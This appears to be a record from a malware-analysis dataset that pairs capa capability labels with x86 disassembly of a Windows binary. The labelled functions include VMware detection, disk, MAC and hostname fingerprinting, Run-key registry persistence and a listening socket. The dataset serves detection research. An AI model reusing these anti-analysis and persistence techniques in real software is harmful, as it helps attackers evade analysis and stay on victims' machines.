joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403be0
Capabilities:
Check for vm using instruction vpcext

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x42fc48
push 0x40ee40
mov eax, dword fs:[0]
push eax
add esp, 0xfffffff4
push ebx
push esi
push edi
mov eax, dword [0x432110]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x19], 0
mov dword [ebp - 4], 0
push ebx
mov ebx, 0
mov eax, 1
invalid

Function at 0x403c70
Capabilities:
Reference the vmware io port

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x42fc68
push 0x40ee40
mov eax, dword fs:[0]
push eax
add esp, 0xfffffff4
push ebx
push esi
push edi
mov eax, dword [0x432110]
xor dword [ebp - 8], eax
xor eax, ebp
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov byte [ebp - 0x19], 1
mov dword [ebp - 4], 0
push edx
push ecx
push ebx
mov eax, 0x564d5868
mov ebx, 0
mov ecx, 0xa
mov edx, 0x5658
in eax, dx
cmp ebx, 0x564d5868
sete byte [ebp - 0x19]
pop ebx
pop ecx
pop edx
mov dword [ebp - 4], 0xfffffffe
jmp 0x403cf0
mov al, byte [ebp - 0x19]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404030
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42aa3c
mov eax, dword fs:[0]
push eax
sub esp, 0x45c
mov eax, dword [0x432110]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x468], ecx
mov dword [ebp - 0x464], 0
push 0x42c36f
lea ecx, [ebp - 0x2c]
call fcn.00403130
mov dword [ebp - 4], 1
mov byte [ebp - 0x134], 0
push 0xf9
push 0
lea eax, [ebp - 0x133]
push eax
call fcn.0040b720
add esp, 0xc
lea ecx, [ebp - 0x134]
push ecx
push 0xfa
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], 0
mov edx, dword [ebp - 0x30]
shl edx, 2
cmp edx, dword [ebp - 0x34]
jae 0x4041ee
cmp dword [ebp - 0x30], 0
jle 0x4040da
push 0x42c3c0
lea ecx, [ebp - 0x2c]
call fcn.00402c50
mov byte [ebp - 0x248], 0
xor eax, eax
mov dword [ebp - 0x247], eax
mov dword [ebp - 0x243], eax
mov byte [ebp - 0x23f], al
mov ecx, dword [ebp - 0x30]
lea edx, [ebp + ecx*4 - 0x134]
push edx
lea eax, [ebp - 0x248]
push eax
call fcn.0040bc00
add esp, 8
mov ecx, dword [ebp - 0x30]
add ecx, 1
mov dword [ebp - 0x30], ecx
mov byte [ebp - 0x35c], 0
push 0x104
push 0
lea edx, [ebp - 0x35b]
push edx
call fcn.0040b720
add esp, 0xc
mov byte [ebp - 0x23c], 0
push 0x104
push 0
lea eax, [ebp - 0x23b]
push eax
call fcn.0040b720
add esp, 0xc
push 0x105
lea ecx, [ebp - 0x23c]
push ecx
lea edx, [ebp - 0x460]
push edx
lea eax, [ebp - 0x24c]
push eax
lea ecx, [ebp - 0x250]
push ecx
push 0x105
lea edx, [ebp - 0x35c]
push edx
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov byte [ebp - 0x45c], 0
push 0xf9
push 0
lea ecx, [ebp - 0x45b]
push ecx
call fcn.0040b720
add esp, 0xc
mov edx, dword [ebp - 0x250]
push edx
lea eax, [ebp - 0x23c]
push eax
lea ecx, [ebp - 0x35c]
push ecx
movsx edx, byte [ebp - 0x248]
push edx
push str._c___s___s___lu
lea eax, [ebp - 0x45c]
push eax
call fcn.0040b79a
add esp, 0x18
lea ecx, [ebp - 0x45c]
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00402c50
jmp 0x4040b8
lea edx, [ebp - 0x2c]
push edx
mov ecx, dword [ebp + 8]
call fcn.00403170
mov eax, dword [ebp - 0x464]
or eax, 1
mov dword [ebp - 0x464], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2c]
call fcn.004031b0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040a92b
mov esp, ebp
pop ebp
ret 4
Function at 0x404240
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42aaa4
mov eax, dword fs:[0]
push eax
sub esp, 0x10c
mov eax, dword [0x432110]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x110], ecx
mov dword [ebp - 0x10c], 0
push 0x42c37a
lea ecx, [ebp - 0xb0]
call fcn.00403130
mov dword [ebp - 4], 1
mov byte [ebp - 0x94], 0
push 0x7f
push 0
lea eax, [ebp - 0x93]
push eax
call fcn.0040b720
add esp, 0xc
push 0x80
lea ecx, [ebp - 0x94]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [ebp - 0x94]
push edx
lea ecx, [ebp - 0xcc]
call fcn.00403130
mov byte [ebp - 4], 2
push 0x40f259
lea eax, [ebp - 0xd4]
push eax
lea ecx, [ebp - 0xcc]
call fcn.00405e10
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
lea eax, [ebp - 0xdc]
push eax
lea ecx, [ebp - 0xcc]
call fcn.00405e40
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
lea eax, [ebp - 0xe4]
push eax
lea ecx, [ebp - 0xcc]
call fcn.00405e10
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [eax]
push edx
lea eax, [ebp - 0xec]
push eax
call fcn.00406030
add esp, 0x20
push 1
push 0
lea ecx, [ebp - 0x108]
push ecx
lea ecx, [ebp - 0xcc]
call fcn.00402d10
mov dword [ebp - 0x114], eax
mov edx, dword [ebp - 0x114]
mov dword [ebp - 0x118], edx
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x118]
push eax
lea ecx, [ebp - 0xcc]
call fcn.00402c30
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x108]
call fcn.004031b0
push 0x42c3d4
lea ecx, [ebp - 0xcc]
push ecx
call fcn.004030d0
add esp, 8
movzx edx, al
test edx, edx
je 0x4043ab
push 0x42c37b
lea ecx, [ebp - 0xcc]
call fcn.004031d0
lea eax, [ebp - 0xcc]
push eax
mov ecx, dword [ebp + 8]
call fcn.00403170
mov ecx, dword [ebp - 0x10c]
or ecx, 1
mov dword [ebp - 0x10c], ecx
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xcc]
call fcn.004031b0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xb0]
call fcn.004031b0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040a92b
mov esp, ebp
pop ebp
ret 4
Function at 0x4051d0
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42acd4
mov eax, dword fs:[0]
push eax
sub esp, 0x144
mov eax, dword [0x432110]
xor eax, ebp
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x150], ecx
mov dword [ebp - 0x14c], 0
push 0x42c3be
lea ecx, [ebp - 0x30]
call fcn.00403130
mov dword [ebp - 4], 1
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x144], 0
mov dword [ebp - 0x140], 0
lea eax, [ebp - 0x140]
push eax
push 0
call sub.iphlpapi.dll_GetAdaptersInfo
test eax, eax
jne 0x40527e
mov ecx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp - 0x150]
call fcn.00404fa0
mov edx, dword [ebp - 0x14c]
or edx, 1
mov dword [ebp - 0x14c], edx
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x30]
call fcn.004031b0
mov eax, dword [ebp + 8]
jmp 0x4053c8
mov eax, dword [ebp - 0x140]
push eax
call fcn.0040b64e
add esp, 4
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x140]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call sub.iphlpapi.dll_GetAdaptersInfo
test eax, eax
jne 0x40538c
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0
je 0x40538c
push 0x104
push 0
lea ecx, [ebp - 0x13c]
push ecx
call fcn.0040b720
add esp, 0xc
lea ecx, [ebp - 0x30]
call fcn.00403210
test eax, eax
jbe 0x4052ed
push 0x42c678
lea ecx, [ebp - 0x30]
call fcn.00402c50
mov dword [ebp - 0x148], 0
jmp 0x405308
mov edx, dword [ebp - 0x148]
add edx, 1
mov dword [ebp - 0x148], edx
mov eax, dword [ebp - 0x144]
mov ecx, dword [ebp - 0x148]
cmp ecx, dword [eax + 0x190]
jae 0x405379
mov edx, dword [ebp - 0x144]
add edx, dword [ebp - 0x148]
movzx eax, byte [edx + 0x194]
push eax
push 0x42c67c
lea ecx, [ebp - 0x13c]
push ecx
call fcn.0040b79a
add esp, 0xc
lea edx, [ebp - 0x13c]
push edx
lea ecx, [ebp - 0x30]
call fcn.00402c50
mov eax, dword [ebp - 0x144]
mov ecx, dword [eax + 0x190]
sub ecx, 1
cmp dword [ebp - 0x148], ecx
jae 0x405377
push 0x42c684
lea ecx, [ebp - 0x30]
call fcn.00402c50
jmp 0x4052f9
mov edx, dword [ebp - 0x144]
mov eax, dword [edx]
mov dword [ebp - 0x144], eax
jmp 0x4052b1
cmp dword [ebp - 0x10], 0
je 0x40539e
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.0040b4f7
add esp, 4
lea edx, [ebp - 0x30]
push edx
mov ecx, dword [ebp + 8]
call fcn.00403170
mov eax, dword [ebp - 0x14c]
or eax, 1
mov dword [ebp - 0x14c], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x30]
call fcn.004031b0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040a92b
mov esp, ebp
pop ebp
ret 4
Function at 0x405860
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42ad80
mov eax, dword fs:[0]
push eax
sub esp, 0x4d8
mov eax, dword [0x432110]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x4e4], ecx
mov dword [ebp - 0x4e0], 0
push 0x42c3c2
lea ecx, [ebp - 0x1c0]
call fcn.00403130
mov dword [ebp - 4], 1
mov eax, 0x202
mov word [ebp - 0x1cc], ax
lea ecx, [ebp - 0x1a4]
push ecx
movzx edx, word [ebp - 0x1cc]
push edx
call sub.WS2_32.dll_WSAStartup
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 0
je 0x405926
push 0x42c6c8
lea ecx, [ebp - 0x1c0]
call fcn.004031d0
lea eax, [ebp - 0x1c0]
push eax
mov ecx, dword [ebp + 8]
call fcn.00403170
mov ecx, dword [ebp - 0x4e0]
or ecx, 1
mov dword [ebp - 0x4e0], ecx
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1c0]
call fcn.004031b0
mov eax, dword [ebp + 8]
jmp 0x405ad9
push 0x100
lea edx, [ebp - 0x2cc]
push edx
call sub.WS2_32.dll_gethostname
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0xffffffff
jne 0x4059cd
mov byte [ebp - 0x3d4], 0
push 0xf9
push 0
lea eax, [ebp - 0x3d3]
push eax
call fcn.0040b720
add esp, 0xc
call sub.WS2_32.dll_WSAGetLastError
push eax
push 0x42c6dc
lea ecx, [ebp - 0x3d4]
push ecx
call fcn.0040b79a
add esp, 0xc
lea edx, [ebp - 0x3d4]
push edx
lea ecx, [ebp - 0x1c0]
call fcn.004031d0
call sub.WS2_32.dll_WSACleanup
lea eax, [ebp - 0x1c0]
push eax
mov ecx, dword [ebp + 8]
call fcn.00403170
mov ecx, dword [ebp - 0x4e0]
or ecx, 1
mov dword [ebp - 0x4e0], ecx
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1c0]
call fcn.004031b0
mov eax, dword [ebp + 8]
jmp 0x405ad9
lea edx, [ebp - 0x2cc]
push edx
call sub.WS2_32.dll_gethostbyname
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 0
je 0x405aa4
mov dword [ebp - 0x3d8], 0
jmp 0x405a07
mov eax, dword [ebp - 0x3d8]
add eax, 1
mov dword [ebp - 0x3d8], eax
mov byte [ebp - 0x4dc], 0
push 0xf9
push 0
lea ecx, [ebp - 0x4db]
push ecx
call fcn.0040b720
add esp, 0xc
mov edx, dword [ebp - 0x1c8]
mov eax, dword [edx + 0xc]
mov ecx, dword [ebp - 0x3d8]
mov edx, dword [eax + ecx*4]
mov eax, dword [edx]
push eax
call sub.WS2_32.dll_inet_ntoa
push eax
push 0x42c6fc
lea ecx, [ebp - 0x4dc]
push ecx
call fcn.0040b79a
add esp, 0xc
lea edx, [ebp - 0x4dc]
push edx
lea ecx, [ebp - 0x1c0]
call fcn.00402c50
mov eax, dword [ebp - 0x1c8]
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0x1c8]
movsx eax, word [edx + 0xa]
mov edx, dword [ebp - 0x3d8]
add eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0x1c8]
cmp eax, dword [ecx]
jb 0x405a8f
jmp 0x405aa4
push 0x42c700
lea ecx, [ebp - 0x1c0]
call fcn.00402c50
jmp 0x4059f8
call sub.WS2_32.dll_WSACleanup
lea edx, [ebp - 0x1c0]
push edx
mov ecx, dword [ebp + 8]
call fcn.00403170
mov eax, dword [ebp - 0x4e0]
or eax, 1
mov dword [ebp - 0x4e0], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1c0]
call fcn.004031b0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040a92b
mov esp, ebp
pop ebp
ret 4
Function at 0x405b00
Capabilities:
Get hostname
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42add2
mov eax, dword fs:[0]
push eax
sub esp, 0x3d0
mov eax, dword [0x432110]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x3dc], ecx
mov dword [ebp - 0x3d8], 0
lea ecx, [ebp - 0x1c0]
call fcn.00406340
mov dword [ebp - 4], 1
mov eax, 0x202
mov word [ebp - 0x1c8], ax
lea ecx, [ebp - 0x1a4]
push ecx
movzx edx, word [ebp - 0x1c8]
push edx
call sub.WS2_32.dll_WSAStartup
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 0
je 0x405bc1
push str.WSAStartup_failed__
lea ecx, [ebp - 0x1c0]
call fcn.004031d0
lea eax, [ebp - 0x1c0]
push eax
mov ecx, dword [ebp + 8]
call fcn.00403170
mov ecx, dword [ebp - 0x3d8]
or ecx, 1
mov dword [ebp - 0x3d8], ecx
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1c0]
call fcn.004031b0
mov eax, dword [ebp + 8]
jmp 0x405cac
push 0x100
lea edx, [ebp - 0x2cc]
push edx
call sub.WS2_32.dll_gethostname
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0xffffffff
jne 0x405c65
mov byte [ebp - 0x3d4], 0
push 0xf9
push 0
lea eax, [ebp - 0x3d3]
push eax
call fcn.0040b720
add esp, 0xc
call sub.WS2_32.dll_WSAGetLastError
push eax
push str.gethostname_failed__Error_code:
lea ecx, [ebp - 0x3d4]
push ecx
call fcn.0040b79a
add esp, 0xc
lea edx, [ebp - 0x3d4]
push edx
lea ecx, [ebp - 0x1c0]
call fcn.004031d0
call sub.WS2_32.dll_WSACleanup
lea eax, [ebp - 0x1c0]
push eax
mov ecx, dword [ebp + 8]
call fcn.00403170
mov ecx, dword [ebp - 0x3d8]
or ecx, 1
mov dword [ebp - 0x3d8], ecx
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1c0]
call fcn.004031b0
mov eax, dword [ebp + 8]
jmp 0x405cac
call sub.WS2_32.dll_WSACleanup
lea edx, [ebp - 0x2cc]
push edx
lea ecx, [ebp - 0x1c0]
call fcn.004031d0
lea eax, [ebp - 0x1c0]
push eax
mov ecx, dword [ebp + 8]
call fcn.00403170
mov ecx, dword [ebp - 0x3d8]
or ecx, 1
mov dword [ebp - 0x3d8], ecx
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1c0]
call fcn.004031b0
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040a92b
mov esp, ebp
pop ebp
ret 4
Function at 0x406370
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [0x432110]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push 0
call fcn.00407400
add esp, 4
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
lea eax, [ebp - 0x10]
push eax
call fcn.004073e0
add esp, 4
mov ecx, 9
mov esi, eax
lea edi, [ebp - 0x60]
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x3c], 0
push 0x27
push 0
lea ecx, [ebp - 0x3b]
push ecx
call fcn.0040b720
add esp, 0xc
lea edx, [ebp - 0x60]
push edx
push str._Y_m_d_H_M_S__
push 0x28
lea eax, [ebp - 0x3c]
push eax
call fcn.00410989
add esp, 0x10
push 0x42c75c
push str.c:err.dat
call fcn.0040f875
add esp, 8
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
push ecx
push 1
lea edx, [ebp - 0x3c]
push edx
call fcn.0040acb0
add esp, 4
push eax
lea eax, [ebp - 0x3c]
push eax
call fcn.0040f72f
add esp, 0x10
mov ecx, dword [ebp - 4]
push ecx
push 1
mov edx, dword [ebp + 8]
push edx
call fcn.0040acb0
add esp, 4
push eax
mov eax, dword [ebp + 8]
push eax
call fcn.0040f72f
add esp, 0x10
mov ecx, dword [ebp - 4]
push ecx
call fcn.0040f551
add esp, 4
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040a92b
mov esp, ebp
pop ebp
ret

Function at 0x406450
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42ae88
mov eax, dword fs:[0]
push eax
sub esp, 0x138
mov eax, dword [0x432110]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
lea ecx, [ebp - 0x2c]
call fcn.00403130
mov dword [ebp - 4], 0
lea eax, [ebp - 0x30]
push eax
push 0xf003f
push 0
lea ecx, [ebp - 0x2c]
call fcn.004031f0
push eax
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jne 0x40653c
mov byte [ebp - 0x144], 0
push 0x103
push 0
lea ecx, [ebp - 0x143]
push ecx
call fcn.0040b720
add esp, 0xc
push 0x104
lea edx, [ebp - 0x144]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x144]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
push eax
lea ecx, [ebp - 0x144]
push ecx
push 1
push 0
push str.HardwareinfoTK
mov edx, dword [ebp - 0x30]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x30]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x34], 0
je 0x40653a
push 0x42c7ac
call fcn.00406370
add esp, 4
jmp 0x406549
push 0x42c7cc
call fcn.00406370
add esp, 4
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.004031b0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040a92b
mov esp, ebp
pop ebp
ret
Function at 0x4078b0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], 0
cmp dword [ebp + 8], 0xffffffff
je 0x4078d2
cmp dword [ebp + 0xc], 0
je 0x4078d2
cmp dword [ebp + 0x10], 0
jg 0x4078d6
xor al, al
jmp 0x407948
call dword [sym.imp.WINMM.dll_timeGetTime]
mov dword [ebp - 4], eax
push 0
mov eax, dword [ebp + 0x10]
sub eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
push edx
call sub.WS2_32.dll_send
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x407931
call sub.WS2_32.dll_WSAGetLastError
cmp eax, 0x2733
jne 0x40792d
call dword [sym.imp.WINMM.dll_timeGetTime]
sub eax, dword [ebp - 4]
cmp eax, dword [ebp + 0x14]
jle 0x407921
xor al, al
jmp 0x407948
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4078df
xor al, al
jmp 0x407948
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp + 0x10]
jne 0x407946
mov al, 1
jmp 0x407948
jmp 0x4078df
mov esp, ebp
pop ebp
ret 0x10

Function at 0x407950
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42b091
mov eax, dword fs:[0]
push eax
mov eax, 0x1038
call fcn.0040baa0
mov eax, dword [0x432110]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1044], ecx
mov byte [ebp - 0x101d], 0
mov dword [ebp - 0x1018], 0
mov dword [ebp - 0x101c], 0
push 0x1000
push 0
lea eax, [ebp - 0x1014]
push eax
call fcn.0040b720
add esp, 0xc
mov ecx, 1
test ecx, ecx
je 0x407a89
push 0
push 0x1000
mov edx, dword [ebp - 0x101c]
lea eax, [ebp + edx - 0x1014]
push eax
mov ecx, dword [ebp + 8]
push ecx
call sub.WS2_32.dll_recv
mov dword [ebp - 0x1018], eax
cmp dword [ebp - 0x1018], 0
jge 0x4079f7
jmp 0x407a89
cmp dword [ebp - 0x1018], 0
jne 0x407a05
jmp 0x407a89
lea edx, [ebp - 0x1014]
push edx
call fcn.0040acb0
add esp, 4
mov dword [ebp - 0x1040], eax
cmp dword [ebp - 0x1040], 0xfff
jle 0x407a28
jmp 0x407a89
lea eax, [ebp - 0x1014]
push eax
lea ecx, [ebp - 0x103c]
call fcn.00403130
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x103c]
push ecx
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 0x1044]
call fcn.00407ab0
movzx eax, al
test eax, eax
jne 0x407a72
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x103c]
call fcn.004031b0
jmp 0x407a89
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x103c]
call fcn.004031b0
jmp 0x4079b6
mov al, byte [ebp - 0x101d]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040a92b
mov esp, ebp
pop ebp
ret 4
Function at 0x408140
Capabilities:
Create tcp socket
Create thread
Create udp socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42b1c1
mov eax, dword fs:[0]
push eax
sub esp, 0x50
mov eax, dword [0x432110]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x54], ecx
mov dword [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.00402c70
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jle 0x4081c0
lea ecx, [ebp + 8]
call fcn.004031f0
push eax
lea eax, [ebp - 0x50]
push eax
call fcn.004074f0
add esp, 8
mov dword [ebp - 0x58], eax
mov ecx, dword [ebp - 0x58]
mov dword [ebp - 0x5c], ecx
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x5c]
push edx
mov ecx, dword [ebp - 0x54]
add ecx, 0x44
call fcn.00402c30
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x50]
call fcn.004031b0
lea eax, [ebp + 8]
push eax
mov ecx, dword [ebp - 0x54]
add ecx, 0x28
call fcn.00402c30
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x20], 0
cmp dword [ebp - 0x14], 0
je 0x408210
mov dword [ebp - 0x14], 0
mov ecx, dword [ebp - 0x54]
mov edx, dword [ecx + 0x20]
add edx, 1
mov eax, dword [ebp - 0x54]
mov dword [eax + 0x20], edx
mov ecx, dword [ebp - 0x20]
add ecx, 1
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x20], 0xc8
jle 0x408210
jmp 0x40830a
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov edx, dword [ebp - 0x54]
mov dword [edx + 0x24], eax
mov eax, dword [ebp - 0x54]
cmp dword [eax + 0x24], 0
jae 0x408236
mov dword [ebp - 0x14], 1
jmp 0x4082c7
push 1
mov ecx, dword [ebp - 0x54]
call fcn.00408060
push 1
mov ecx, dword [ebp - 0x54]
call fcn.004080b0
push 0x400000
mov ecx, dword [ebp - 0x54]
call fcn.00408100
mov ecx, dword [ebp - 0x54]
add ecx, 4
call fcn.004031f0
push eax
call sub.WS2_32.dll_inet_addr
mov dword [ebp - 0x2c], eax
mov ecx, 2
mov word [ebp - 0x30], cx
mov edx, dword [ebp - 0x54]
movzx eax, word [edx + 0x20]
push eax
call sub.WS2_32.dll_htons
mov word [ebp - 0x2e], ax
push 0x10
lea ecx, [ebp - 0x30]
push ecx
mov edx, dword [ebp - 0x54]
mov eax, dword [edx + 0x24]
push eax
call sub.WS2_32.dll_bind
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xffffffff
jne 0x4082a9
mov dword [ebp - 0x14], 1
jmp 0x4082c7
push 5
mov ecx, dword [ebp - 0x54]
mov edx, dword [ecx + 0x24]
push edx
call sub.WS2_32.dll_listen
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xffffffff
jne 0x4082c7
mov dword [ebp - 0x14], 1
cmp dword [ebp - 0x14], 0
jne 0x408300
push 0
push 0
mov eax, dword [ebp - 0x54]
push eax
push 0x408340
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
jne 0x4082f6
mov dword [ebp - 0x14], 1
jmp 0x408300
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x14], 0
jne 0x4081dd
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.004031b0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040a92b
mov esp, ebp
pop ebp
ret 0x1c

Function at 0x40a92b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x432110]
jne 0x40a935
repz ret
jmp fcn.00412ecc